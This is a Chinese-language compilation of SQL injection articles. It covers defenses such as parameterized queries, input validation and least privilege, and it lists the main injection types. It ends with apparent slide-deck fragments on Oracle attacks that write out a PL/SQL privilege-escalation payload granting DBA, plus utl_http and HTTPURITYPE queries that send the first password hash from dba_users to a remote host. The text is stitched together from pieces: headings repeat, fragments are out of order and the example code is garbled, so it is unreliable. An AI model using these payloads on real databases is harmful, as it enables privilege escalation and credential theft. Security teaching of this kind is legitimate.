SQL注入攻击和防护技术
网络安全防护应对SQL注入攻击的方法

网络安全防护应对SQL注入攻击的方法概述:在当前数字化时代,互联网和大数据应用广泛,使得网络安全问题备受关注。
SQL注入攻击是一种常见的网络安全威胁,它通过在用户输入的SQL查询中植入恶意代码,从而实现非法访问数据库、获取敏感信息等目的。
本文将介绍SQL注入攻击的原理,以及现行常用的网络安全防护方法。
一、SQL注入攻击的原理SQL注入攻击利用了应用程序在构造SQL语句时未对用户输入进行过滤或转义的漏洞。
攻击者通过在用户输入中注入恶意的SQL代码,使数据库执行非预期的操作,如删除、修改、查询数据,或者绕过身份验证等。
二、网络安全防护方法(一)数据输入验证与过滤对于用户输入的数据,应进行严格的输入验证和过滤,确保只接受合法的数据格式并对特殊字符进行转义。
常见的验证方法包括输入长度限制、数据类型验证和正则表达式验证等。
(二)参数化查询参数化查询是一种有效的防御SQL注入攻击的方法。
通过将用户输入的参数与SQL查询语句分离,使得参数不作为构造SQL语句的一部分,从而有效避免了注入攻击的风险。
(三)最小权限原则在数据库的访问控制上,应根据需要给予用户最小的权限。
以只读权限为例,在应用中只需要读取数据的情况下,将数据库用户设置为只拥有读取数据的权限,这样即使发生SQL注入攻击,攻击者也无法修改或删除数据。
(四)尽量使用ORM框架ORM框架(对象关系映射)可以实现应用程序与数据库之间的对象和关系的映射,避免手动拼接SQL语句的过程,从而减少了SQL注入攻击的风险。
ORM框架一般都会对用户输入进行预处理和转义,提高了应用程序的安全性。
(五)安全策略规范建立安全策略和规范对于网络安全防护至关重要。
包括但不限于定期更新各类软件和系统补丁、禁止使用弱密码、限制数据库访问权限、备份与恢复等。
这些策略和规范的执行能够有效防御SQL注入攻击。
(六)安全审计与监控通过安全审计和监控技术,可以对数据库的访问进行实时监测和分析,发现异常操作和潜在的SQL注入攻击。
解决sql注入的方法

解决sql注入的方法SQL注入是一种常见的网络安全漏洞,攻击者通过在应用程序的输入参数中插入恶意的SQL代码,从而实现对数据库的非法访问和操作。
为了有效地防范SQL注入攻击,我们需要采取一系列的方法和措施来加强数据库的安全性。
首先,我们可以通过参数化查询来防止SQL注入攻击。
参数化查询是指在执行SQL语句时,将用户输入的数据作为参数传递给数据库,而不是将用户输入的数据直接拼接到SQL语句中。
这样可以有效地阻止攻击者通过输入恶意的SQL代码来篡改原有的SQL语句,从而保护数据库的安全。
其次,我们需要对用户输入的数据进行严格的验证和过滤。
在接收用户输入数据之后,我们可以对其进行格式验证、长度验证、类型验证等多重验证,以确保输入的数据符合预期的格式和要求。
同时,还可以通过编码转换、过滤特殊字符等方式来清理用户输入的数据,防止其中包含恶意的SQL代码。
此外,我们还可以限制数据库用户的权限,以最小化潜在的风险。
在设置数据库用户的权限时,我们应该根据其实际需要来分配相应的权限,避免赋予过高的权限给普通用户,从而降低数据库被攻击的可能性。
另外,定期对数据库进行安全审计和漏洞扫描也是防范SQL注入攻击的重要手段。
通过对数据库的安全性进行定期审计和漏洞扫描,我们可以及时发现数据库中存在的安全隐患和漏洞,并及时进行修复和加固,从而保障数据库的安全。
此外,我们还可以通过使用防火墙和安全加固工具来加强数据库的安全防护。
防火墙可以对数据库进行访问控制和流量过滤,有效地阻止恶意流量和攻击。
安全加固工具可以对数据库进行安全加固和配置优化,提高数据库的安全性和稳定性。
总的来说,要想有效地防范SQL注入攻击,我们需要综合运用参数化查询、严格验证和过滤、权限限制、安全审计和漏洞扫描、防火墙和安全加固工具等多种手段和措施,全面提升数据库的安全性和防护能力。
只有通过不断地加强数据库安全防护,我们才能有效地预防和遏制SQL注入攻击,保障数据库的安全运行。
SQL注入攻击的种类和防范手段

SQL注入攻击的种类和防范手段1.基于错误的注入攻击:攻击者在SQL查询中插入错误或不完整的语句,以引发错误信息或日志,从而获取对数据库的相关信息。
2. 基于联合查询的注入攻击:攻击者通过在用户输入中插入union 语句,用于合并两个或多个查询结果,从而泄露数据库中的数据。
3.基于布尔查询的注入攻击:攻击者通过修改WHERE或HAVING语句中的条件,利用布尔值的真假来获取有关数据库的信息。
4.基于时间延迟的注入攻击:攻击者通过在数据库查询中添加延迟函数,如SLEEP(,使应用程序的响应时间延长,从而可以通过测量响应时间来判断条件是否成立。
5. 盲注入攻击:攻击者无法直接从Web应用程序中获取任何错误信息,但可以使用其他方式来确认注入成功,如延迟注入或二分法等方法。
防范手段:1.使用参数化查询或预编译语句:参数化查询可以防止攻击者在用户输入中插入恶意的SQL代码。
2.过滤和验证用户输入:对用户输入进行严格的过滤和验证,确保只接受合法的数据,如去除非法字符、转义特殊字符等。
3.最小权限原则:数据库用户应该具有最小的权限,只能执行必要的操作,并且不应具有直接修改数据库结构或执行系统命令的权限。
4.改变默认的数据库监听端口:将数据库的监听端口从默认的端口改为非常规的端口,可以减少被攻击的概率。
5.错误信息处理:应该避免在错误信息中透露关键的系统或数据库信息,最好将详细的错误信息记录在日志中,只向用户显示一般的错误提示信息。
6.防火墙和入侵检测系统:使用防火墙和入侵检测系统来监控和阻止潜在的SQL注入攻击。
7.定期更新和维护应用程序和数据库:及时更新和维护应用程序和数据库的补丁,以修复已知的漏洞。
8.检查第三方代码库和插件:确保使用的任何第三方代码库和插件都是受信任的,并且定期更新和审查其代码。
9.数据加密和敏感信息保护:对数据库中的敏感数据进行加密,并采取适当的措施来保护加密密钥和凭证。
综上所述,针对SQL注入攻击,我们需要综合使用多种防范手段,既包括在应用程序层面上做好安全防护,如使用参数化查询、过滤和验证用户输入,也需要在网络和基础设施层面上加强安全措施,如使用防火墙、入侵检测系统等。
SQL注入入侵防范技术措施

SQL注入入侵防范技术措施SQL注入是一种常见的web应用漏洞,攻击者利用输入的数据篡改SQL查询语句,从而获取、修改或删除数据库中的数据。
为了防范SQL注入,需要采取一系列的技术措施来保护web应用的安全性。
以下是常见的SQL注入防范技术措施:1.使用参数化查询:参数化查询是一种通过将用户输入的值作为参数传递给预编译的SQL语句来执行查询的方法。
这样可以避免将用户输入直接拼接到SQL语句中,从而防止注入攻击。
3.拒绝动态SQL:尽可能避免使用动态SQL语句,尤其是直接拼接用户输入的内容。
如果必须使用动态SQL,确保对输入进行严格的验证和过滤,以及使用参数化查询来执行动态SQL。
4.最小权限原则:给数据库用户分配最低权限的角色,避免使用具有过高权限的数据库用户。
限制数据库用户的访问权限可以减少攻击者成功入侵数据库的可能性。
5.日志监控与分析:记录所有SQL查询的日志,并对其进行监控和分析。
通过对日志进行审查,可以发现潜在的SQL注入攻击,并及时采取相应的措施来应对。
6. 使用防火墙:在数据库和web服务器之间设置防火墙,限制对数据库的直接访问。
只允许web服务器的IP地址访问数据库,并且禁止来自外部的直接连接。
这样可以降低数据库被攻击的风险。
7. 定期更新和维护:及时更新数据库软件和相关的补丁程序,以及web应用程序。
这样可以修复已知的安全漏洞,并提高系统的安全性。
另外,定期对数据库进行巡检和维护,确保数据库的完整性和安全性。
8. 使用安全编码实践:采用安全编码的最佳实践来开发web应用程序,例如避免在页面中显示详细的错误信息,防止敏感信息泄露等。
了解和遵守安全编码的指导原则,可以减少SQL注入等漏洞的出现。
9.安全训练和意识提高:加强员工的安全培训,提高对SQL注入等安全漏洞的认识和意识。
建立一个安全意识的文化,让员工充分理解安全风险,并知道如何正确地处理用户输入和数据库操作。
总之,SQL注入是一种常见的web应用漏洞,但采取正确的技术措施可以有效地防范注入攻击。
SQL注入攻击与防范

SQL注入攻击与防范刘佳(武警指挥学院训练部模拟中心。
天津300350)摘要:SQL注入攻击是对数据库进行攻击的常用手段之一。
伴随着网络的普及应用,基于B/s模式的Web应用程序也得到了广泛的应用,但这些程序的水平却参差不齐,相当一部分开发人员在编写代码的时候没有对用户数据的合法性进行判断,使程序存在安全隐患。
SQL注入攻击正是利用了这一漏洞对后台数据库进行攻击的。
关键词:SQL注入攻击;防范1SQL注入攻击的原理SQL注入攻击就是向服务器端提交一段事先准备好的数据,拼凑出攻击者想要的SQL语句,以改变程序预期的执行结果。
存在SQL注入漏洞的地方都是程序中需要根据客户端提交的数据来构造SQL语句的地方,也就是说只要程序中存在“客户端数据替换服务端预定义变量”的地方就有可能被注入。
由于服务器端程序通常采用拼凑SQL语句的方式,从而使得攻击者有机会在提交的数据中包含SQL关键字或者运算符,来构造想要的语句。
假设服务器端有这样一条SQL语句:dimclient_titleaginteger=Request.QueryString(”tide”)strsql=”updatebooksettide=…&client_ritle&…whereid=12”客户端则通过http://websitename/update.aspx?title=sqlinjection的形式向服务器提交用户数据。
开发人员的本意是想通过用户提交的数据“client_title”来更新表“book”中“id”为12的记录中的“title”字段的内容。
在正常情况下,这样做不会有任何问题。
但是如果攻击者提交http://websitenaradupdate.aspx?title=sqlinjecfion’一,那么sql语句将被拼凑为:updatebooksettitle=‘sqlinjection’。
可以看到,“where”子句被61—99注释掉了,“book”表中“title”列的所有内容都将被更新为“sqlinjection”。
sql注入方法

sql注入方法SQL注入是常见的攻击技术之一,攻击者利用Web应用程序存在的漏洞,向数据库中插入恶意的SQL代码,以获取敏感信息、修改数据、甚至控制整个数据库的操作。
以下是几种SQL注入的方法及其防范措施:1. 基于错误的注入攻击基于错误的注入攻击利用了应用程序对SQL语句错误的处理方式,将编写的恶意SQL语句嵌入到应用程序中,导致不稳定性和错误消息。
攻击者通过错误消息获取有关数据库的详细信息。
为了阻止这种攻击,应该尽可能减少错误可见性并修复SQL语句的错误处理。
2. 布尔盲注布尔盲注是一种在没有错误信息的情况下获取数据库信息的攻击技术。
它可以使攻击者在不知道准确的数据库信息的情况下,以布尔方式测试其猜测。
为了防止这种攻击,应该使用预处理语句和参数化查询。
3. 堆叠查询堆叠查询是通过一条恶意的SQL语句执行多个查询的技术。
攻击者在一个查询中将多个语句串联起来,并将每个查询的结果存储在查询的结果中。
为了防止这种攻击,应该使用参数化查询和限制查询执行的时间。
4. 时间盲注时间盲注是一种仅限于返回时间值的注入攻击技巧。
攻击者使用`SLEEP`函数来停止查询的执行,从而确定SQL注入的成功与否。
为了阻止这种攻击,应该对输入进行过滤,并对时间延迟进行限制。
总之,SQL注入是十分常见的攻击方式,开发人员应该遵循最佳实践以防止它的发生。
首先,要实行输入验证和过滤,确保输入的数据是格式正确的;其次,要实现参数化查询和限制查询执行时间来防止攻击;最后,要限制错误消息的可见性,并尽可能减少错误。
这样就可以大大减少SQL注入攻击对系统的威胁。
SQL注入攻击和防护技术
varchar2
authid current_user
is
pragma autonomous_transaction;
begin
execute immediate ''''grant dba to scott''''; commit;
return ''''z''''; end;'';
commit;
sys.lt.findricset(''AA.AA''''||credit.grant_dba)--'',''BBBB''); end;')
•2
Blind SQL Inject
主要通过注入的页面响应来检测是否是需要的结果,甚至可以用时间延迟的方式 来简单判断。
逻辑判断:decode|case 比如我们想得到SYS账户的Password Hash。我们可以获取password hash的每一位 字符来进行比较,正常响应表示字符匹配。 Google上存在大量的Blind SQL Inject工具来提高Bind SQL inject的效率。
•2
通过DNS服务获取信息
select utl_http.request ('http://www.'||(select password from dba_users where rownum=1)||'/' ) from dual; 具体参见后续的数据获取方式
•2
通过ldap_init获取信息
SQLInjection攻击透析及防范
SQLInjection攻击透析及防范SQL Injection攻击透析及防范一、什么是SQL Injection攻击SQL Injection,也称为SQL注入攻击,是一种针对数据库应用程序的安全漏洞攻击。
当开发过程中没有正确地过滤、转义用户输入的数据后,恶意用户可以在输入内容中注入SQL语句,从而获得非法访问权限。
通常,SQL Injection攻击分为两种形式:盲注和非盲注。
盲注是指攻击者通过一系列的猜测,尝试得到目标数据库中的敏感信息。
非盲注则是针对具体的漏洞进行攻击。
攻击者通过已知的漏洞,将恶意代码注入到应用程序中,从而直接访问数据库中的敏感信息。
二、SQL Injection攻击的危害SQL Injection攻击可以导致大量敏感信息泄露,比如:用户名、密码、账号信息、财务信息等等。
同时,攻击者也可以利用SQL Injection攻击来破坏数据库,包括:删除数据、修改数据、甚至是篡改数据。
SQL Injection攻击的危害非常巨大,因此,正确地防范SQL Injection攻击显得非常重要。
三、SQL Injection攻击的防范方法1、严格过滤用户输入数据通过过滤、转义输入数据,可以有效地防止SQL Injection攻击。
应用程序开发人员需要学会使用各种函数和方法,对用户输入内容做出正确的判断和处理,比如对单引号、双引号和反斜杠等特殊字符进行转义,以避免被用于注入SQL语句。
2、尽量使用参数化查询参数化查询是最为安全的防范SQL Injection攻击的方法之一。
参数化查询就是将SQL语句和参数分离开来,参数部分由数据库引擎单独处理。
可以通过调用函数库等方法实现参数化查询,从而避免了SQL语句和输入参数混杂在一起,降低了SQL Injection攻击的危险。
3、限制数据库用户权限只有必要的用户才能访问数据库,其他用户需要被限制权限。
通过限制用户权限,可以避免非授权用户访问到数据库,从而避免敏感信息的泄露。
SQL注入攻击原理及安全防范措施研究的研究报告
SQL注入攻击原理及安全防范措施研究的研究报告研究报告:SQL注入攻击原理及安全防范措施研究一、前言近年来,随着互联网和移动互联网的发展,Web开发和应用的重要性逐渐凸显,然而随之而来的是Web安全问题的加剧。
其中,SQL注入攻击是目前较为普遍和严重的一类Web安全漏洞,也是黑客攻击中常用的一种方式。
本文将从SQL注入攻击的原理、实现、危害以及防范措施等方面进行深入探讨,并希望对读者提供一定的帮助。
二、SQL注入攻击原理1、概念SQL注入攻击是指黑客通过在Web应用程序中注入恶意的SQL语句,以获取非法的系统访问权限、窃取重要数据或者破坏系统等目的的一种攻击方式。
2、攻击原理SQL注入攻击的基本原理是,利用Web应用程序未经过严格验证的用户输入信息,往SQL语句中注入一些非法的代码,从而修改原有的SQL语句逻辑,执行非法的操作。
例如,一个Web应用程序可能有一个登录功能,当用户输入正确的用户名和密码时,系统会对其进行身份认证,如果认证通过,则将用户登录到系统中。
具体实现过程可能是,将用户输入的用户名和密码拼凑成一个SQL语句,通过查询数据库来验证身份是否正确。
如果攻击者提交了错误的用户名和密码,系统有可能返回一个错误提示,例如“您输入的用户名或密码不正确!”。
而黑客在这里就可以进行攻击,他可以在错误提示中注入一些SQL代码,比如“ ' or '1'='1 ”,从而改变原有的SQL语句,查询到了所有用户的数据。
这就是SQL注入攻击。
3、攻击实现SQL注入攻击的原理比较简单,但攻击的实现却比较复杂和细致。
具体实现过程包括以下几个方面:(1)了解目标网站的结构和数据库类型,用于指定注入的攻击方式(如MySQL,Oracle等)。
(2)寻找目标站点,常用的方法是搜索引擎、高级搜索命令以及漏洞扫描工具等。
(3)分析目标站点的URL及数据提交表单,寻找可注入点,并比较可注入点的差异。
防止SQL注入的五种方法
防止SQL注入的五种方法SQL注入是一种常见的安全漏洞,攻击者利用这种漏洞向应用程序的数据库中插入恶意的SQL代码,从而获取和操作数据库中的数据。
为了防止SQL注入攻击,我们可以采取以下五种方法。
1.使用参数化查询:参数化查询是一种使用参数占位符(例如,问号或命名占位符)代替直接将用户输入拼接到SQL查询字符串中的方法。
通过将用户输入作为参数传递给SQL查询,数据库会以参数的形式处理用户输入,而不会将其视为SQL代码的一部分。
这样可以有效地防止SQL注入攻击。
例如,在使用JDBC执行SQL查询时,可以使用PreparedStatement 对象来创建参数化查询。
示例代码如下:```javaString sql = "SELECT * FROM users WHERE username = ?";PreparedStatement statement =connection.prepareStatement(sql);statement.setString(1, userInput);ResultSet resultSet = statement.executeQuery(;```在此示例中,将用户输入作为参数传递给了参数化查询,而不是直接将其拼接到SQL查询字符串中。
2.输入验证与过滤:输入验证是一种对用户输入数据进行检查的方法,以确保其符合预期的数据类型、格式和长度。
通过验证用户输入,可以过滤掉恶意输入,从而降低SQL注入攻击的风险。
例如,在接收用户输入的地方,可以使用正则表达式或其他方法对其进行验证和过滤。
在接收用户名输入时,可以使用正则表达式确保其只包含字母和数字,示例代码如下:```javaString regex = "^[a-zA-Z0-9]+$";if (userInput.matches(regex))//用户名格式正确} else//用户名格式不正确```在此示例中,使用正则表达式`^[a-zA-Z0-9]+$`对用户输入进行验证,确保其只包含字母和数字。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
•1
获取感兴趣表格的列信息及内容
可以通过错误信息获取感兴趣表格的列信息。 可以通过错误信息获取感兴趣表格的内容信息。
script\gethostname-colinfo.sql script\gethostname-valueinfo.sql
•2
通过DNS服务获取信息
select utl_http.request ('http://www.'||(select password from dba_users where rownum=1)||'/' ) from dual; 具体参见后续的数据获取方式
通过错误信息获取数据库账户列表
script\gethostname-userinfo.sql
•1
通过错误信息获取账户权限列表
通过错误信息获得连接账户的拥有的权限和角色列。
script\gethostname-priv.sql
•1
通过错误信息获取表格信息
同样的道理,可以利用错误信息来获取用户的表格信息,列信息 以及利用错误信息来获得数据。
04 SQL注入探索方式 05 SQL注入实现的功能 06 防止SQL注入的手段
SQL注入的过程
➢ 发现漏洞 ➢ 通过漏洞了解信息以正确的利用该漏洞 ➢ 注入以获得数据 ➢ 提取权限 ➢ 设置后门
C ONTENT 目录
01 SQL注入与PLsql注入 02 SQL注入的基本形式和注入点 03 SQL注入的过程
者提升权限。
➢ PLSQL注入 利用应用程序的P L S Q L 代码漏洞或者O r a c le 本身的P L S Q L 代码漏洞加载自己 的恶意代码获取信息或者提升权限。
SQL注入的危害
➢ 数据表中的数据外泄,例如个人机密数据,账号数据,密码等 ➢ 数据结构被黑客探知,得以做进一步攻击 例如SELECT * FROM sys.tables ➢ 数据库服务器被攻击,系统管理员账户被窜改 例如ALTER LOGIN sa WITH
SQL注入攻击和防护技术
C ONTENT 目录
01 SQL注入与PLsql注入 02 SQL注入的基本形式和注入点 03 SQL注入的过程
04 SQL注入探索方式 05 SQL注入实现的功能 06 防止SQL注入的手段
SQL和PLSQL注入攻击
➢ SQL注入 利用应用程序S Q L 语句的漏洞(注入点)加载自己的恶意代码获取信息或
PASSWORD='xxxxxx’ ➢ 获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及XSS等 ➢ 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统 ➢ 破坏硬盘数据,瘫痪全系统 例如x p _ c m d s h e l l " FO R M AT C : "
C ONTENT 目录
通过错误信息获取数据库信息
通过错误信息获得账户名,是否属于SYSDBA,应用服务器IP, Oracle数据库漏洞信息地址,数据库名,数据库服务器名以及 Oracle的版本信息。获知版本号之后就可以大致获得可以利用的。
script\gethostname-dbinfo.sql
•1
通过错误信息获取数据库账户列表
具体参见后续的数据获取方式
•2
通过HTTPURITYPE获取信息
Select HTTPURITYPE( '/'||(select password from dba_users where rownum=1) ).getclob() from dual; 具体参见后续的数据获取方式
01 SQL注入与PLsql注入 02 SQL注入的基本形式和注入点 03 SQL注入的过程
04 SQL注入探索方式 05 SQL注入实现的功能 06 防止SQL注入的手段
SQL注入的基本形式
➢ web端注入 服务器端程序将W e b 应用程序的用户输入参数作为查询条件,直接拼接成
S Q L 语句,并将查询结果返回给客户端浏览器。
加注入即可。
➢ 注入点在语句中间 不仅需要关闭注入点之前的内容,还需要关闭之后的内容,通常是通过注释掉 后续内容转变为注入点在语句结尾。
C ONTENT 目录
01 SQL注入与PLsql注入 02 SQL注入的基本形式和注入点 03 SQL注入的过程
•1
带外错误检索(out-of-Band)
当错误信息被应用程序屏蔽之后,可以采用OOB的方式获取错误信息以 及感兴趣的数据信息。
Utl_http HTTPURITYPE SYS.DBMS_LDAP DNS
•1
通过utl_http获取信息
select utl_http.request ('/'|| (select password from dba_users where rownum=1)) from dual;
➢ 数据库端注入 以数据库用户连接数据库,通过数据库用户的输入进行S Q L 注入,以达到提升 权限或者越权操作的目的。
盲注
➢ 布尔盲注 布尔盲注只会根据S Q L 注入的攻击语句返回Tu r e 和F a l s e , 没有错误信息。
➢ 时间盲注 界面返回值只有Tr u e ,无论输入任何值返回情况都会按照正常来处理。加入特 定的时间参数,通过查看w e b 页面返回的时间差来判断注入的语句是否正确。
•1
屏蔽错误信息以增加SQL注入难度
屏蔽错误信息,使Oracle的原始错误信息不要返回给应用程序。入侵者 只能依赖Blind SQL inject来完成信息收集,增加入侵难度。这里不讲如何 进行Blind SQL Inject,互联网上信息很多。Blind SQL Inject是SQL注入 领域的热门话题。
04 SQL注入探索方式 05 SQL注入实现的功能 06 防止SQL注入的手段
SQL注入探索的三种不同方式
➢ 带内错误检索(inband) 错误信息从应用程序直接输出,比如浏览器。
➢ 带外错误检索(out-of-band) 错误信息发送到应用程序以外的服务器上。
➢ 瞎猜(blind) 在应用程序屏蔽错误信息以及带外作物不可行的情况下进行。